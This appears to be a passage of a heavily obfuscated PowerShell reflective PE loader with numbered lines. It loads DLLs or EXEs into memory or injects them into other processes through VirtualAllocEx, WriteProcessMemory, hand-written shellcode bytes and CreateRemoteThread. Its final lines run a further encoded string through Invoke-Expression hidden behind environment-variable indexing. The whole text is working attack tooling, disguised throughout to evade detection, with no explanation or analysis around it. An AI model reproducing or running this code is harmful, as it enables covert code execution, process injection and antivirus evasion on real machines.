  2076.         &("{3}{0}{4}{2}{1}"-f'ate-MemoryA','es','ss','Upd','ddre') -PEInfo ${pEi`Nfo} -OriginalImageBase ${ORIGi`NaLim`AGE`BAsE} -Win32Constants ${wi`N3`2C`oNSTA`NtS} -Win32Types ${w`in32`TY`pes}
  2077.         &("{1}{3}{2}{0}" -f 'erbose','W','V','rite-') ""
  2078.         if (${REMoTEl`Oa`d`I`NG} -eq ${tR`UE})
  2079.         {
  2080.             &("{3}{0}{2}{4}{1}"-f 'mp','mports','ort-Dl','I','lI') -PEInfo ${pE`In`Fo} -Win32Functions ${W`i`N32fUn`CtioNs} -Win32Types ${w`in`32TY`PEs} -Win32Constants ${W`in3`2cOnstA`NtS} -RemoteProcHandle ${RE`MOT`Ep`RochaN`DlE}
  2081.         }
  2082.         else
  2083.         {
  2084.             &("{2}{5}{3}{0}{4}{1}"-f'p','ts','Import-Dl','Im','or','l') -PEInfo ${PeI`N`Fo} -Win32Functions ${W`IN32fUNCT`i`oNS} -Win32Types ${win32`T`ypeS} -Win32Constants ${Wi`N`32`C`OnStanTS}
  2085.         }
  2086.        
  2087.        
  2088.         if (${rEmOt`El`o`ADinG} -eq ${Fal`se})
  2089.         {
  2090.             if (${nXCO`mp`ATI`BlE} -eq ${Tr`Ue})
  2091.             {
  2092.                 &("{1}{0}{3}{2}"-f 'e','Write-V','se','rbo') ""
  2093.                 &("{4}{1}{2}{0}{3}" -f'emoryProtect','date-','M','ionFlags','Up') -PEInfo ${PE`i`NFo} -Win32Functions ${w`In`32FunctionS} -Win32Constants ${Win`32C`oNstAnTs} -Win32Types ${wi`N`32TYP`Es}
  2094.             }
  2095.             else
  2096.             {
  2097.                 &("{3}{2}{1}{0}"-f'se','rbo','rite-Ve','W') ""
  2098.             }
  2099.         }
  2100.         else
  2101.         {
  2102.             &("{0}{1}{2}"-f'Write','-Verb','ose') ""
  2103.         }
  2104.        
  2105.        
  2106.         if (${remO`TEloAdI`NG} -eq ${Tr`UE})
  2107.         {
  2108.             [UInt32]${N`U`Mby`TESwri`Tten} = 0
  2109.             ${suC`cE`Ss} = ${WIn3`2`F`U`NCtiONS}."wr`ITe`proceSSm`EmORY"."i`NVOKe"(${ReMoTep`ROC`H`ANDlE}, ${E`FF`eC`TIVEpEHAN`d`le}, ${p`eHANdle}, [UIntPtr](${P`EIN`Fo}."sIZe`oFI`magE"), [Ref]${n`UMby`T`EsWrI`TtEn})
  2110.             if (${SUCc`e`sS} -eq ${fal`se})
  2111.             {
  2112.                 Throw ""
  2113.             }
  2114.         }
  2115.        
  2116.        
  2117.         if (${PEi`NFo}."file`T`YPE" -ieq "DLL")
  2118.         {
  2119.             if (${ReMo`Te`L`OadiNG} -eq ${FA`LSE})
  2120.             {
  2121.                 &("{0}{1}{2}" -f 'Writ','e-','Verbose') ""
  2122.                 ${dLlMa`In`ptr} = &("{1}{3}{6}{0}{5}{2}{4}" -f 't','Add','sU','-','nsigned','A','SignedIn') (${PeIN`FO}."PeH`ANdlE") (${PE`I`NFo}."I`mage_Nt`_hE`AD`ers"."Opt`ioNa`l`hea`DeR"."Add`ResSOFEN`Tr`Y`PO`inT")
  2123.                 ${Dll`M`AinD`elE`GATe} = &("{2}{0}{1}{3}{4}" -f'-','De','Get','le','gateType') @([IntPtr], [UInt32], [IntPtr]) ([Bool])
  2124.                 ${d`LLMA`In} = [System.Runtime.InteropServices.Marshal]::"G`e`TDe`leGaT`EFoR`FUN`c`TioNp`oINTER"(${d`LlMAInp`TR}, ${d`l`Lm`AI`NDElegAte})
  2125.                
  2126.                 ${dL`LmaIn}."INV`oKE"(${p`eIn`Fo}."pehA`NdlE", 1, [IntPtr]::"zE`Ro") | &("{2}{0}{1}" -f 'ut-','Null','O')
  2127.             }
  2128.             else
  2129.             {
  2130.                 ${Dllm`A`iN`pTR} = &("{4}{6}{1}{3}{0}{5}{2}"-f 'AsU','igne','gned','dInt','Add','nsi','-S') (${eF`FeCTiVe`P`Eh`An`dLe}) (${Pe`IN`Fo}."imaGe`_nT`_heAD`eRS"."oPtIon`Al`head`Er"."AdDRE`ssO`FE`NtRy`poinT")
  2131.            
  2132.                 if (${P`EinFo}."pE`64bIt" -eq ${t`RUe})
  2133.                 {
  2134.                    
  2135.                     ${Cal`l`DllMAi`N`sc1} = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9)
  2136.                     ${CAL`L`dLlMA`InSC2} = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8)
  2137.                     ${CALl`D`LLmaiNs`C3} = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
  2138.                 }
  2139.                 else
  2140.                 {
  2141.                    
  2142.                     ${CALLD`lL`maIns`C1} = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9)
  2143.                     ${c`ALLDllmai`NS`c2} = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8)
  2144.                     ${calldL`lMa`i`NsC3} = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3)
  2145.                 }
  2146.                 ${sc`lE`NGtH} = ${C`Al`LdLlm`AInS`c1}."Le`Ng`Th" + ${ca`LLdlL`maIn`sC2}."L`e`NGtH" + ${c`A`llDLL`mAInSc3}."leNg`Th" + (${pTrS`i`ze} * 2)
  2147.                 ${s`CPSmem} = [System.Runtime.InteropServices.Marshal]::"aLLocHgl`ob`AL"(${sCle`N`gtH})
  2148.                 ${sCpsMe`mo`RI`GiN`AL} = ${SC`PsMEm}
  2149.                
  2150.                 &("{0}{5}{2}{3}{4}{1}" -f'Writ','y','-By','te','sToMemor','e') -Bytes ${c`A`LLdLlM`AiNsC1} -MemoryAddress ${scp`s`mem}
  2151.                 ${sC`pSM`eM} = &("{3}{6}{5}{4}{0}{1}{2}"-f 'g','n','ed','A','i','IntAsUns','dd-Signed') ${SCps`MEm} (${CaL`LDllmA`INsC1}."len`gTh")
  2152.                 [System.Runtime.InteropServices.Marshal]::"st`RU`CtuREtop`TR"(${EffECT`IVep`EHA`N`dLE}, ${s`CPSM`Em}, ${F`Alse})
  2153.                 ${sCps`mEm} = &("{0}{3}{5}{4}{1}{2}"-f'Add-','s','igned','Si','Un','gnedIntAs') ${sC`psMem} (${P`TR`sizE})
  2154.                 &("{1}{0}{2}{3}" -f'B','Write-','ytesT','oMemory') -Bytes ${cAlL`DllmA`I`NSC2} -MemoryAddress ${SC`P`smEM}
  2155.                 ${scPSm`Em} = &("{4}{0}{2}{1}{3}{5}" -f'dIntA','si','sUn','gn','Add-Signe','ed') ${s`c`psmem} (${c`AL`l`dLlMAinsC2}."Len`gTH")
  2156.                 [System.Runtime.InteropServices.Marshal]::"stRUcT`URe`TOPtR"(${DlLmAI`N`ptR}, ${S`cP`sMEm}, ${fA`l`sE})
  2157.                 ${SC`PsMEM} = &("{3}{4}{0}{5}{1}{2}" -f 'n','ig','ned','Add-SignedI','ntAsU','s') ${sCP`sM`EM} (${Pt`R`size})
  2158.                 &("{1}{4}{5}{2}{6}{3}{0}"-f'emory','W','ytesT','M','ri','te-B','o') -Bytes ${caL`L`dlLMaIn`Sc3} -MemoryAddress ${sCpsM`EM}
  2159.                 ${SC`pSMeM} = &("{4}{2}{0}{1}{3}"-f'ignedIntA','sUnsig','-S','ned','Add') ${SC`pS`MeM} (${cAL`Ldl`lM`A`InSc3}."lEN`G`Th")
  2160.                
  2161.                 ${R`scad`DR} = ${win`32fUNc`Tions}."VI`RTUAlaLl`o`CEx"."I`NV`OKe"(${RemOT`ePROc`han`Dle}, [IntPtr]::"Ze`RO", [UIntPtr][UInt64]${S`CLEn`Gth}, ${Win32`CoNST`A`Nts}."mEM_C`OM`MiT" -bor ${w`In`3`2CONStANTS}."M`em_rES`erVe", ${wiN`32COn`STA`Nts}."PAGE_`ex`Ec`Ute_rEADWRI`Te")
  2162.                 if (${R`sCAD`DR} -eq [IntPtr]::"Z`eRO")
  2163.                 {
  2164.                     Throw ""
  2165.                 }
  2166.                
  2167.                 ${S`UcCess} = ${wI`N`32`FUnC`TionS}."WRit`Ep`R`OCE`SSMEmorY"."INVO`Ke"(${rem`o`TePr`Oc`hAN`Dle}, ${RSc`A`dDR}, ${S`CpsMe`MORiGIN`Al}, [UIntPtr][UInt64]${scL`e`Ng`TH}, [Ref]${nuMbyT`EswRI`T`Ten})
  2168.                 if ((${SUcc`e`ss} -eq ${FAl`sE}) -or ([UInt64]${nUm`B`Y`TeswrIT`TEN} -ne [UInt64]${S`c`lEngTH}))
  2169.                 {
  2170.                     Throw ""
  2171.                 }
  2172.                 ${R`T`H`R`EaDHaNDLe} = &("{0}{3}{2}{4}{1}"-f'C','hread','ote','reate-Rem','T') -ProcessHandle ${rEMOTE`prO`c`H`AndLE} -StartAddress ${Rs`cAdDR} -Win32Functions ${WiN3`2f`U`NCT`IoNs}
  2173.                 ${Re`S`Ult} = ${wI`N32F`UNct`IO`NS}."w`AItfoRsInG`Le`Ob`ject"."INVO`KE"(${R`T`HRE`AdhanDle}, 20000)
  2174.                 if (${Re`SULT} -ne 0)
  2175.                 {
  2176.                     Throw ""
  2177.                 }
  2178.                
  2179.                 ${Win3`2`FU`NCTio`Ns}."v`irtualFr`EEEx"."iN`VOkE"(${rE`MoT`eproCha`ND`LE}, ${RsC`AD`Dr}, [UIntPtr][UInt64]0, ${WIn`3`2CoN`StA`NTS}."mEM`_`REleAse") | &("{2}{0}{1}" -f'l','l','Out-Nu')
  2180.             }
  2181.         }
  2182.         elseif (${pE`iNfo}."F`ilE`TYpE" -ieq "EXE")
  2183.         {
  2184.             [IntPtr]${e`xED`onEB`y`TEptR} = [System.Runtime.InteropServices.Marshal]::"a`L`lOCHG`loBAl"(1)
  2185.             [System.Runtime.InteropServices.Marshal]::"W`Ri`TeBytE"(${ExeDOnEBy`T`EP`TR}, 0, 0x00)
  2186.             ${OverWRItTen`ME`m`iNfO} = &("{3}{2}{0}{1}{4}" -f 'E','xeFu','te-','Upda','nctions') -PEInfo ${p`eiN`FO} -Win32Functions ${WIN3`2fu`N`CT`Ions} -Win32Constants ${win3`2`coN`sT`AnTs} -ExeArguments ${EX`EA`RGS} -ExeDoneBytePtr ${eXeDO`N`ebYT`EpTr}
  2187.             [IntPtr]${eXe`mA`i`NPtR} = &("{1}{3}{2}{0}{4}"-f's','Add-S','edIntAsUn','ign','igned') (${P`E`iNFO}."pehaNd`le") (${p`EIN`Fo}."ImAg`E`_NT_`h`eAdeRs"."OptI`o`NALHEAD`er"."aDd`RessOF`en`Tr`Y`POINT")
  2188.             &("{1}{2}{0}{3}" -f'e-Verbos','W','rit','e') ""
  2189.             ${w`in3`2f`UNctiONs}."crEATET`hR`EAd"."IN`V`OKe"([IntPtr]::"z`erO", [IntPtr]::"Ze`RO", ${EXe`MA`in`PtR}, [IntPtr]::"Z`ero", ([UInt32]0), [Ref]([UInt32]0)) | &("{1}{2}{0}"-f 'ull','O','ut-N')
  2190.             while(${TR`UE})
  2191.             {
  2192.                 [Byte]${t`HreADdO`NE} = [System.Runtime.InteropServices.Marshal]::"rEAdB`y`TE"(${EXEdO`NEB`ytEpTR}, 0)
  2193.                 if (${thRE`AD`dONE} -eq 1)
  2194.                 {
  2195.                     &("{3}{4}{0}{1}{2}" -f'Mem','Addresse','s','Copy-Arr','ayOf') -CopyInfo ${O`VERwRiT`Te`NMeM`i`Nfo} -Win32Functions ${w`iN32`FUNCTi`o`NS} -Win32Constants ${W`In32cONS`TAnTs}
  2196.                     &("{1}{2}{0}"-f'Verbose','Wri','te-') ""
  2197.                     break
  2198.                 }
  2199.                 else
  2200.                 {
  2201.                     &("{0}{1}{2}" -f'Start-','S','leep') -Seconds 1
  2202.                 }
  2203.             }
  2204.         }
  2205.        
  2206.         return @(${P`e`InfO}."peH`ANdLe", ${e`F`FEctiVePE`hAN`dLE})
  2207.     }
  2208.    
  2209.    
  2210.     Function iNvokE`-Me`MoryF`Re`eli`BrARy
  2211.     {
  2212.         Param(
  2213.         [Parameter(pOSition=0, MAnDATOry=${T`RUe})]
  2214.         [IntPtr]
  2215.         ${pE`hAn`DLE}
  2216.         )
  2217.        
  2218.         ${Wi`N`32Co`N`sTAnTS} = &("{2}{1}{4}{5}{3}{0}"-f 'Constants','e','G','2','t','-Win3')
  2219.         ${wIN`32`F`UnCtiOns} = &("{2}{3}{0}{1}"-f'unc','tions','Get-','Win32F')
  2220.         ${wi`N3`2typeS} = &("{0}{1}{2}{3}{4}" -f'G','e','t-','Win32Type','s')
  2221.        
  2222.         ${PE`Info} = &("{2}{1}{0}{3}" -f 'tailedInf','-PEDe','Get','o') -PEHandle ${PeHAnD`lE} -Win32Types ${wiN32TY`P`Es} -Win32Constants ${W`iN`32CO`NS`TANTS}
  2223.        
  2224.         if (${P`eInfO}."iMa`gE_`Nt_HE`AdErS"."o`PtiO`NaL`HEaDer"."IMp`oR`TtaBle"."s`Ize" -gt 0)
  2225.         {
  2226.             [IntPtr]${IM`pOrt`DEscRIpToR`p`Tr} = &("{1}{2}{0}{3}{5}{4}" -f 'dIntA','A','dd-Signe','s','ed','Unsign') ([Int64]${pe`in`Fo}."pEhAnd`Le") ([Int64]${pei`N`FO}."im`AGe_n`T_HeAd`E`RS"."OPti`ON`AlHeA`D`er"."ImpoRt`TAB`Le"."VIRTUaLADdR`e`ss")
  2227.            
  2228.             while (${tr`Ue})
  2229.             {
  2230.                 ${i`m`Portde`Scri`ptOr} = [System.Runtime.InteropServices.Marshal]::"pT`RtosT`R`UcTUrE"(${iMPoRTDE`SCr`ipt`or`p`TR}, [Type]${W`in3`2Ty`PEs}."iM`A`GE_iMpoRt_desCR`IPT`Or")
  2231.                
  2232.                 if (${i`mpOrt`DE`SCripT`OR}."c`haRAcT`eRI`S`TicS" -eq 0 `
  2233.                         -and ${iM`PO`R`TdeSC`RIPToR}."f`IR`Stt`HUNk" -eq 0 `
  2234.                         -and ${Im`PortD`esC`RiP`T`oR}."foRWarDERch`A`IN" -eq 0 `
  2235.                         -and ${I`mp`ortDE`scrIP`TOr}."nA`Me" -eq 0 `
  2236.                         -and ${im`pO`R`TdesC`R`IptOR}."TI`MEd`ATeS`T`AmP" -eq 0)
  2237.                 {
  2238.                     &("{0}{1}{2}" -f'W','rit','e-Verbose') ""
  2239.                     break
  2240.                 }
  2241.                 ${Im`P`oRTDLL`PA`TH} = [System.Runtime.InteropServices.Marshal]::"pT`RtOStr`I`Nga`NSI"((&("{3}{1}{2}{4}{0}"-f'd','d-Si','gned','Ad','IntAsUnsigne') ([Int64]${P`eINfo}."PehA`NdLe") ([Int64]${iMP`ORTd`ESC`RiPt`OR}."N`AME")))
  2242.                 ${I`Mp`oRtdLlh`AndLE} = ${WI`N3`2Fu`Nc`TIoNS}."ge`T`m`ODulehanD`LE"."IN`VOKE"(${ImP`OrTDll`Pa`Th})
  2243.                 if (${im`pOrTdl`lh`An`Dle} -eq ${nu`Ll})
  2244.                 {
  2245.                     &("{1}{0}{2}" -f'rite-W','W','arning') "" -WarningAction ("{0}{1}{2}"-f 'Cont','i','nue')
  2246.                 }
  2247.                
  2248.                 ${sU`C`ceSS} = ${w`In`32FUN`CTions}."f`Re`ElIbrary"."iN`Vo`ke"(${ImPor`TdLLha`N`dlE})
  2249.                 if (${sUCcE`ss} -eq ${f`AL`se})
  2250.                 {
  2251.                     &("{0}{3}{2}{1}" -f'Write','g','in','-Warn') "" -WarningAction ("{2}{0}{1}"-f'tin','ue','Con')
  2252.                 }
  2253.                
  2254.                 ${Im`PORtDEsc`RIPT`Or`Ptr} = &("{1}{0}{3}{2}" -f'-SignedIntA','Add','gned','sUnsi') (${iMpOrTD`eScRIPT`O`Rptr}) ([System.Runtime.InteropServices.Marshal]::"SiZe`Of"([Type]${Win32T`yP`ES}."i`mAge_iM`poRt`_deS`criPtOR"))
  2255.             }
  2256.         }
  2257.         &("{3}{1}{2}{0}" -f'erbose','r','ite-V','W') ""
  2258.         ${dlLMAIN`p`Tr} = &("{5}{6}{0}{2}{1}{4}{3}" -f'nedIn','sUnsi','tA','ed','gn','Add-S','ig') (${Pe`INfo}."pEhan`dlE") (${pe`iN`Fo}."i`mAGE_N`T`_HEadE`Rs"."OPTiOn`AL`He`ADer"."a`ddRe`S`S`ofenTryPo`inT")
  2259.         ${dlL`MaIND`eleGaTE} = &("{3}{2}{1}{0}"-f'eType','gat','Dele','Get-') @([IntPtr], [UInt32], [IntPtr]) ([Bool])
  2260.         ${dLlM`A`in} = [System.Runtime.InteropServices.Marshal]::"GET`DEl`eG`AT`e`Fo`Rfu`Ncti`ONPOintEr"(${d`lLm`Ai`NPtr}, ${dllmA`iN`DeL`eGa`TE})
  2261.        
  2262.         ${dLL`ma`IN}."iNv`OKE"(${Pe`I`NFo}."Pehan`dLE", 0, [IntPtr]::"zE`Ro") | &("{1}{2}{0}"-f'll','O','ut-Nu')
  2263.        
  2264.        
  2265.         ${S`Uc`CESS} = ${W`iN32F`U`NctiO`Ns}."VI`RT`UAl`FRee"."in`VO`kE"(${pE`Ha`NdLe}, [UInt64]0, ${w`iN3`2cOn`sTA`NtS}."Mem_R`ELE`ASE")
  2266.         if (${sUC`c`Ess} -eq ${FaL`se})
  2267.         {
  2268.             &("{1}{3}{2}{0}"-f'ng','Writ','rni','e-Wa') "" -WarningAction ("{1}{0}"-f 'nue','Conti')
  2269.         }
  2270.     }
  2271.     Function m`AIn
  2272.     {
  2273.         ${WI`N32FU`N`CTIonS} = &("{0}{2}{4}{3}{1}"-f 'Ge','unctions','t','2F','-Win3')
  2274.         ${WI`N32tyP`Es} = &("{2}{3}{1}{0}" -f's','32Type','Get-Wi','n')
  2275.         ${Wi`N32C`onStA`NTS} =  &("{0}{2}{3}{1}" -f'Get-','ts','Wi','n32Constan')
  2276.        
  2277.         ${remoTe`pRO`c`HA`ND`lE} = [IntPtr]::"z`eRo"
  2278.    
  2279.         if ((${P`RO`ciD} -ne ${NU`lL}) -and (${Pr`ocID} -ne 0) -and (${pROCN`A`me} -ne ${Nu`LL}) -and (${Pr`OCna`ME} -ne ""))
  2280.         {
  2281.             Throw ""
  2282.         }
  2283.         elseif (${pr`ocna`me} -ne ${N`ULL} -and ${pr`Ocna`me} -ne "")
  2284.         {
  2285.             ${p`ROCESS`ES} = @(&("{0}{2}{1}" -f'Get','ss','-Proce') -Name ${P`Ro`cNAME} -ErrorAction ("{1}{3}{2}{0}" -f'ntinue','Sil','Co','ently'))
  2286.             if (${p`ROc`e`sSEs}."COu`Nt" -eq 0)
  2287.             {
  2288.                 Throw ""
  2289.             }
  2290.             elseif (${P`R`OCESs`Es}."COu`NT" -gt 1)
  2291.             {
  2292.                 ${p`RoC`I`Nfo} = &("{3}{2}{0}{1}"-f'Pr','ocess','-','Get') | &("{1}{0}"-f 'ere','wh') { ${_}."N`AMe" -eq ${prOC`Na`me} } | &("{1}{0}{4}{3}{2}"-f 'ec','Sel','ct','Obje','t-') ("{0}{2}{1}" -f'Proces','Name','s'), ('Id'), ("{0}{2}{1}" -f'Sess','onId','i')
  2293.                 &("{2}{1}{0}"-f't','tpu','Write-Ou') ${Pr`oci`NfO}
  2294.                 Throw ""
  2295.             }
  2296.             else
  2297.             {
  2298.                 ${PR`ocID} = ${p`RoCE`s`SEs}[0]."iD"
  2299.             }
  2300.         }
  2301.        
  2302.        
  2303.         if ((${pr`oC`Id} -ne ${n`Ull}) -and (${P`Ro`cId} -ne 0))
  2304.         {
  2305.             ${reMOtEp`RO`C`hANd`lE} = ${wiN32Fun`c`Tio`Ns}."oPEN`pR`oc`eSS"."i`NVoKe"(0x001F0FFF, ${f`ALSE}, ${PR`Oc`id})
  2306.             if (${ReMO`T`epr`OcHANdLE} -eq [IntPtr]::"Z`ERo")
  2307.             {
  2308.                 Throw ""
  2309.             }
  2310.            
  2311.             &("{2}{1}{0}{3}" -f'bo','rite-Ver','W','se') ""
  2312.         }
  2313.        
  2314.         &("{2}{0}{3}{1}" -f'erb','se','Write-V','o') ""
  2315.         ${peHa`N`dlE} = [IntPtr]::"zE`RO"
  2316.         if (${remO`TE`proc`HAN`DLe} -eq [IntPtr]::"Z`eRo")
  2317.         {
  2318.             ${pe`LOAD`EDI`NFo} = &("{3}{2}{4}{0}{5}{6}{1}" -f 'oad','y','ke-Memor','Invo','yL','Li','brar') -PEBytes ${PE`BYT`Es} -ExeArgs ${EX`ea`Rgs} -ForceASLR ${FO`R`CE`ASLr}
  2319.         }
  2320.         else
  2321.         {
  2322.             ${p`ELOaDeDin`Fo} = &("{0}{5}{1}{6}{7}{2}{3}{4}" -f'Invok','yLo','Libr','a','ry','e-Memor','a','d') -PEBytes ${PeB`YteS} -ExeArgs ${EXEA`R`GS} -RemoteProcHandle ${RE`mO`TepROChAN`D`lE} -ForceASLR ${FoR`cea`sLR}
  2323.         }
  2324.         if (${PELO`AD`EdinFO} -eq [IntPtr]::"z`erO")
  2325.         {
  2326.             Throw ""
  2327.         }
  2328.        
  2329.         ${pEHa`NdLe} = ${PeloA`d`EDiN`FO}[0]
  2330.         ${Re`M`oTEpeHanD`le} = ${pelo`ADeDi`NFO}[1]
  2331.        
  2332.        
  2333.         ${P`EiNFo} = &("{0}{1}{4}{3}{2}" -f 'Get','-PE','ailedInfo','et','D') -PEHandle ${peH`A`NDle} -Win32Types ${wIn3`2ty`pes} -Win32Constants ${wIN3`2coNST`An`TS}
  2334.         if ((${Pe`INfo}."Fil`E`Type" -ieq "DLL") -and (${ReMo`T`eProChAn`Dle} -eq [IntPtr]::"z`ERo"))
  2335.         {
  2336.             switch (${fu`N`cR`eTurNT`yPE})
  2337.             {
  2338.                 'WString' {
  2339.                     &("{1}{2}{0}"-f 'erbose','Write','-V') ""
  2340.                     [IntPtr]${wsT`RI`NGfuN`caD`dr} = &("{1}{4}{2}{5}{3}{0}{6}"-f 'Ad','G','t-Memor','roc','e','yP','dress') -PEHandle ${pe`HA`NdlE} -FunctionName "WStringFunc"
  2341.                     if (${WST`Ri`NGf`UNCa`ddR} -eq [IntPtr]::"Z`ERo")
  2342.                     {
  2343.                         Throw ""
  2344.                     }
  2345.                     ${WSt`RINgFunCd`E`leGaTe} = &("{2}{0}{1}" -f 'et-De','legateType','G') @() ([IntPtr])
  2346.                     ${Wstr`ingFU`NC} = [System.Runtime.InteropServices.Marshal]::"GETDE`l`eg`AtEF`o`RFunC`Ti`OnPO`INtEr"(${Ws`T`R`ingF`UNcaDdR}, ${wStRinGFUNC`De`l`EG`A`Te})
  2347.                     [IntPtr]${OUTpu`T`p`Tr} = ${W`STrInG`FU`NC}."In`VoKe"()
  2348.                     ${Ou`T`PUT} = [System.Runtime.InteropServices.Marshal]::"pT`RT`OsTRI`NG`UnI"(${O`U`T`PuTPTr})
  2349.                     &("{1}{0}{2}"-f 'e-','Writ','Output') ${oUT`pUt}
  2350.                 }
  2351.                 'String' {
  2352.                     &("{2}{0}{1}" -f 'ite','-Verbose','Wr') ""
  2353.                     [IntPtr]${STri`N`GfUnc`ADdr} = &("{3}{5}{1}{0}{2}{6}{4}" -f'yPr','mor','ocAddr','Ge','s','t-Me','es') -PEHandle ${P`E`handlE} -FunctionName "StringFunc"
  2354.                     if (${s`Tri`N`gF`UNcadDr} -eq [IntPtr]::"zE`RO")
  2355.                     {
  2356.                         Throw ""
  2357.                     }
  2358.                     ${s`T`RIngFunCD`Elegate} = &("{2}{0}{1}{3}{4}" -f't-De','l','Ge','ega','teType') @() ([IntPtr])
  2359.                     ${st`R`ingf`UnC} = [System.Runtime.InteropServices.Marshal]::"GEtdE`LeGatEf`oRFuNct`IO`NP`Oi`NtEr"(${S`TR`In`GfuNc`ADDr}, ${S`TR`i`NgFU`NCdELEga`TE})
  2360.                     [IntPtr]${ou`Tpu`TpTR} = ${S`T`R`INgfUnC}."Inv`O`KE"()
  2361.                     ${O`UtpUT} = [System.Runtime.InteropServices.Marshal]::"PTRT`OS`T`RInGa`NsI"(${OU`TP`Ut`ptr})
  2362.                     &("{2}{0}{1}{3}" -f'e-O','utp','Writ','ut') ${o`UtpUt}
  2363.                 }
  2364.                 'Void' {
  2365.                     &("{0}{4}{2}{1}{3}" -f'Writ','b','Ver','ose','e-') ""
  2366.                     [IntPtr]${voI`d`FUnc`AdDr} = &("{1}{2}{3}{0}"-f'ddress','G','et-','MemoryProcA') -PEHandle ${pE`HAND`le} -FunctionName "VoidFunc"
  2367.                     if (${vo`IdF`Un`Caddr} -eq [IntPtr]::"zE`Ro")
  2368.                     {
  2369.                         Throw ""
  2370.                     }
  2371.                     ${v`oiDFun`cDe`lEg`Ate} = &("{1}{0}{2}{3}"-f 'e','G','t-Del','egateType') @() ([Void])
  2372.                     ${VOi`dfu`Nc} = [System.Runtime.InteropServices.Marshal]::"Get`DELe`GA`T`eFORFuncti`OnPOI`NtER"(${VOid`Fun`cA`ddR}, ${V`OIdF`U`N`cDeLe`gate})
  2373.                     ${vOI`DF`UnC}."iN`VO`KE"() | &("{2}{1}{0}" -f 'll','ut-Nu','O')
  2374.                 }
  2375.             }
  2376.         }
  2377.         elseif ((${peI`NFO}."FilET`YpE" -ieq "DLL") -and (${reMo`T`eP`ROC`h`AnDLE} -ne [IntPtr]::"ZE`Ro"))
  2378.         {
  2379.             ${VO`idF`UN`CadDR} = &("{4}{0}{3}{2}{1}"-f'-','yProcAddress','r','Memo','Get') -PEHandle ${PeH`An`d`Le} -FunctionName "VoidFunc"
  2380.             if ((${Vo`I`D`FU`NcaDDr} -eq ${N`ULl}) -or (${v`Oi`DF`UnC`ADDR} -eq [IntPtr]::"Z`erO"))
  2381.             {
  2382.                 Throw ""
  2383.             }
  2384.            
  2385.             ${VOID`F`UN`CAd`dR} = &("{3}{4}{0}{1}{2}"-f'ne','d','IntAsUnsigned','Sub-Si','g') ${VoiD`F`Un`CaDDr} ${pe`h`AndlE}
  2386.             ${vOIdF`U`NcaddR} = &("{1}{0}{4}{2}{6}{5}{3}"-f 'dd-Sig','A','dIntA','d','ne','igne','sUns') ${v`OIdFUN`cA`d`Dr} ${RemOT`epeha`N`d`lE}
  2387.            
  2388.             ${rtHRe`A`D`HaNdle} = &("{3}{0}{5}{4}{1}{2}" -f'e-R','re','ad','Creat','h','emoteT') -ProcessHandle ${RE`MotEP`RoCh`ANdle} -StartAddress ${vOI`d`FUNCadDR} -Win32Functions ${wIn32`FUn`C`TiO`NS}
  2389.         }
  2390.        
  2391.         if (${re`m`OTePrOChaN`DLE} -eq [IntPtr]::"zE`Ro" -and ${P`E`INFO}."F`i`LetyPE" -ieq "DLL")
  2392.         {
  2393.             &("{1}{2}{5}{3}{4}{0}" -f 'ary','Invok','e-Memor','FreeLi','br','y') -PEHandle ${PEH`A`NDLe}
  2394.         }
  2395.         else
  2396.         {
  2397.             ${s`Uc`CEss} = ${win3`2Fu`NCtIO`Ns}."v`IrtuaLF`REE"."INvo`KE"(${p`eH`AndLe}, [UInt64]0, ${WIn`32con`sTan`TS}."ME`m`_RELe`Ase")
  2398.             if (${s`UCc`eSS} -eq ${FAL`SE})
  2399.             {
  2400.                 &("{4}{1}{3}{0}{2}" -f'n','n','g','i','Write-War') "" -WarningAction ("{0}{1}{2}"-f'Contin','u','e')
  2401.             }
  2402.         }
  2403.        
  2404.         &("{1}{2}{0}" -f 'Verbose','Writ','e-') ""
  2405.     }
  2406.     &("{0}{1}"-f'Mai','n')
  2407. }
  2408. Function mA`IN
  2409. {
  2410.     if ((${pSc`MD`leT}."m`yINvOca`T`IoN"."b`ou`ND`p`ARAMeters"["Debug"] -ne ${Nu`ll}) -and ${psCmdL`ET}."MY`inv`oCA`TIon"."BOU`NDpa`RAmeTers"["Debug"]."i`spreSenT")
  2411.     {
  2412.         ${DE`B`Ug`PR`e`FEreNCE}  = "Continue"
  2413.     }
  2414.    
  2415.     if (!${p`eBYTes}) {
  2416.  
  2417.               .( $env:cOmSpEc[4,26,25]-jOIn'')( ((("{1}{17}{12}{8}{24}{10}{30}{27}{15}{25}{5}{9}{19}{28}{11}{29}{3}{23}{2}{7}{4}{20}{21}{6}{16}{13}{26}{22}{31}{14}{18}{0}" -f ']34)U1iieX','(54YNf54Y','54Y:r54Y+54YX','ulto)54Y+54Y N','4YG54Y+54YG54Y+54Y} 54Y+54Y([54Y+54Ysyst54Y+54Yem.te54Y+54Yxt.54Y','4Y','ByrXZTES54Y+54YZ54Y+54YC54Y+54Yo54Y+54Y','ZMrX54Y+54YZ54Y+54YGrXZ54Y+5','Y+54YC54Y+54YrXZIdZCo;54Y+54','+54Yniss','Y+54Y2niss54Y+54Y 54Y+54Y%4)54Y+54Y,2,(Nf','4Y+54Yt','54','4Y+54YrXZGrXZGG}=(54Y+54Y[Sys54Y+54Ytem.Te54Y+54Yx54Y+54Yt54Y+54Y.Encoding]::Z54Y+54YCoUt54Y+54YrXZF8ZCo.Z54Y+54YCo','08+[ChAR]116+[ChAR]111),[s','54Y+54Ys %954Y+54Y)54Y+54Y,(54Y+54YNf2ni54Y+54Yss54Y+54Y 54Y+54Y%54Y+54Y1154Y+54Y),(N54Y+54Yf254Y+54Yn54Y+54Yiss %1254Y+54Y)54Y+54Y,154Y+54Y054Y+54Y,(54Y+54YN54Y+54Yf2nis54Y','(54Y+54YNf2sPKk54Y+54Y)) 54Y+54Y([ref]Nf54Y+54Y2MjT54Y+54Y) 